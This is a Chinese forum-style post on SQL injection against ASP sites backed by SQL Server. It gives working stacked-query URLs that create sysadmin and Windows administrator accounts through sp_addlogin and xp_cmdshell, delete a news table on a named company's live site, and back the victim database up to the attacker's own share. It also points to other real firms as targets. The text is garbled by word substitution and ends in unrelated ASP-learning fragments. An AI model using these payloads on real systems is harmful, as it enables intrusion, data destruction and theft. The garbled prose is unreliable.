ASP网页设计比来才发明我的程序里有云云多的毛病
源代码保护方面其实现在考虑得没那么多了..NET也可以反编译.ASP写得复杂的话别人能看得懂的话.他也有能力自己写了.这方面担心的倒不太多.纵观现在网上可以下载的那些所谓BBS还有什么网站等等的源代码程序转贴,记不住来历地点了.程的书上,源代码例子就有这个毛病存在,实在只是一些正当的ASP对SQL的哀求,就留下祸不单行!
这类打击办法最早源于or1=1的毛病(我们临时称其为毛病),这个毛病的道理我想人人因该都晓得了,那末随之而来的即是;exec
sp_addloginhax(在数据库内增加一个hax用户),可是这个办法的限定很年夜,起首ASP利用的SQLServer账号是个办理员,其次哀求的提交变
量在全部SQL语句的最初,由于有一些程序员接纳SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....
这类办法哀求数据库,那末假如还用以上的例子就会
news.asp?id=2;execsp_addloginhax
酿成SELECT*FROMnewsWHEREid=2;execsp_addloginhaxANDtopic=...AND...
全部SQL语句在实行sp_addlogin的存储历程后有AND与判别存在,语法毛病,你的sp_addlogin天然也不克不及一般运转了,因而碰运气上面这个办法
news.asp?id=2;execsp_addloginhax;--
前面的--标记把sp_addlogin后的判别语句酿成了正文,如许就不会有语法毛病了,sp_addlogin一般实行!
那末我们连一同来用吧
news.asp?id=2;execmaster.dbo.sp_addloginhax;--
news.asp?id=2;execmaster.dbo.sp_passwordnull,hax,hax;--
news.asp?id=2;execmaster.dbo.sp_addsrvrolemembersysadminhax;--
news.asp?id=2;execmaster.dbo.xp_cmdshellnetuserhaxhax/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add;--
news.asp?id=2;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorshax/add;--
如许,你在他的数据库和体系内都留下了hax办理员账号了
固然,条件前提是ASP用办理员账号,以是假造空间人人就别试了,不会存在这个毛病的。
今后我们会会商,假如对方的ASP不是用SQL办理员账号,我们怎样进侵,固然也会触及到1433端口的进侵
固然人人能够碰运气在id=2前面加上一个标记,次要看对方的ASP怎样写了,再说说当ASP程序利用的SQL账号不是办理员的时分我们该怎样做。
你如天融信的主页,有旧事内容,以下:
http://www.talentit.com.cn/news/news-2.asp?newid=117
人人能够碰运气http://www.talentit.com.cn/news/news-2.asp?newid=117;select123;--
呵呵,报语法毛病,select123毛病,不言而喻,天融新的ASP在newid变量前面用号停止
那末碰运气http://www.talentit.com.cn/news/news-2.asp?newid=117;deletenews;--
哈哈,我想只需表名猜对了,旧事库就被删了
一般ASP用的SQL账号就算不是办理员也会是某个数据库的owner,最少关于这个库有很高的办理权限
可是我们不晓得库名该怎样?看看db_name()函数吧
翻开你的queryanalyzer,看看printdb_name(),呵呵,以后的数据库名就出来了
以次类推,以下:declare@asysname;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目次bak.dat,name=test;--
呵呵,他确当前数据库就备份到你的硬盘上了,接上去要做的人人内心都分明了吧
同理这个办法能够找到对方的SQL的IP
先装一个防火墙,翻开ICMP和139TCP和445TCP的告诫提醒
然后碰运气news.asp?id=2;execmaster.dbo.xp_cmdshellping你的IP
假如防火墙提醒有人ping你,那末因该能够一定对方的ASP用的是SQL的办理员权限,同时也断定了对方的SQLServer的正确地位,由于良多年夜一点的网站思索功能,会吧web服务和数据库分隔,当对方年夜上了补钉看不到源代码时,我想只要这个办法能很快的定位对方的SQLServer的地位了
那末,假如对方ASP没有SQL办理员权限,我们就不克不及挪用xp_cmdshell了,该怎样办?
别发急,碰运气这个news.asp?id=2;declare@a;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目次bak.dat
,name=test;--
呵呵,你的防火墙该收回告诫了,有人毗连你的445或139(win9端口了,如许,对方的SQL的ip一样也能够表露那末假如对方连某个数据库的owner也不是的话,我们该怎样办?下次我会告知年夜幸陨url但愿人人经由过程vbscript提交,由于扫瞄器的地点栏会屏障一些特别字符,如许你的命令就不克不及完全传输了
window.location.herf=URL
增补:这个成绩之前载网上也提出来过,可是只是一些复杂的xp_cmdshell挪用限定很年夜,实在这内里另有良多值得深切的中央好比www.guosen.com.cn。国信证卷就有这个成绩,并且他们接纳ms的三层布局作的用之前说的xp_cmdshell做法就不可了,字符串会被过滤,可是我实验了,用sql的异类哀求仍旧能够在对方的呆板上开启telnet服务和administrators组的账号!因为对方防火墙很严checkpoint数据报收支都只开放80端口因而,要想取得他的数据库布局对照坚苦了,可是仍是有举措能够做到的:P
特地提示人人注重一下关于sqloledb,db_name,openrowset,opendatasource这些体系函数当asp的sqlserver账号只是一个一般用户时,他们会很有效的!
</p>国内有些大的CRM厂商的ASP就写得不错.无论是概念还是它里面用JAVASCRIPT的能力.并不是说现在的程序员用了ASP.NET来写程序就可以说自己高档了 我想问如何掌握学习节奏(先学什么再学什么)最好详细点? 下面简单介绍一下我学习ASP的方法,希望对想学习ASP的朋友有所帮助... 它可通过内置的组件实现更强大的功能,如使用A-DO可以轻松地访问数据库。 学习是为了用的,是为了让你的程序产生价值,把握住这个原则会比较轻松点。除此之外,课外时间一定要多参加一些社会实践活动,来锻炼自己的能力。 代码的可重用性差:由于是面向结构的编程方式,并且混合html,所以可能页面原型修改一点,整个程序都需要修改,更别提代码重用了。 尽管MS自己讲C#内核中更多的象VC,但实际上我还是认为它和Java更象一些吧。首先它是面向对象的编程语言,而不是一种脚本,所以它具有面向对象编程语言的一切特性,比如封装性、继承性、多态性等等,这就解决了刚才谈到的ASP的那些弱点。 他的语法和设计思路和VB完全相同,导致很多ASP的书都留一句“相关内容请参考VB的相关教材....”更糟糕的是,相当多的ASP教程混合了Javascript,VBscript等等脚本语言,搞的初学者。 ASP.Net和ASP的最大区别在于编程思维的转换,而不仅仅在于功能的增强。ASP使用VBS/JS这样的脚本语言混合html来编程,而那些脚本语言属于弱类型、面向结构的编程语言,而非面向对象,这就明显产生以下几个问题: 以HTML语言整合(HTML负责界面上,ASP则负责功能上)形成一个B/S(浏览器/服务器)模式的网页程序。 封装性使得代码逻辑清晰,易于管理,并且应用到ASP.Net上就可以使业务逻辑和Html页面分离,这样无论页面原型如何改变,业务逻辑代码都不必做任何改动;继承性和多态性使得代码的可重用性大大提高。
页:
[1]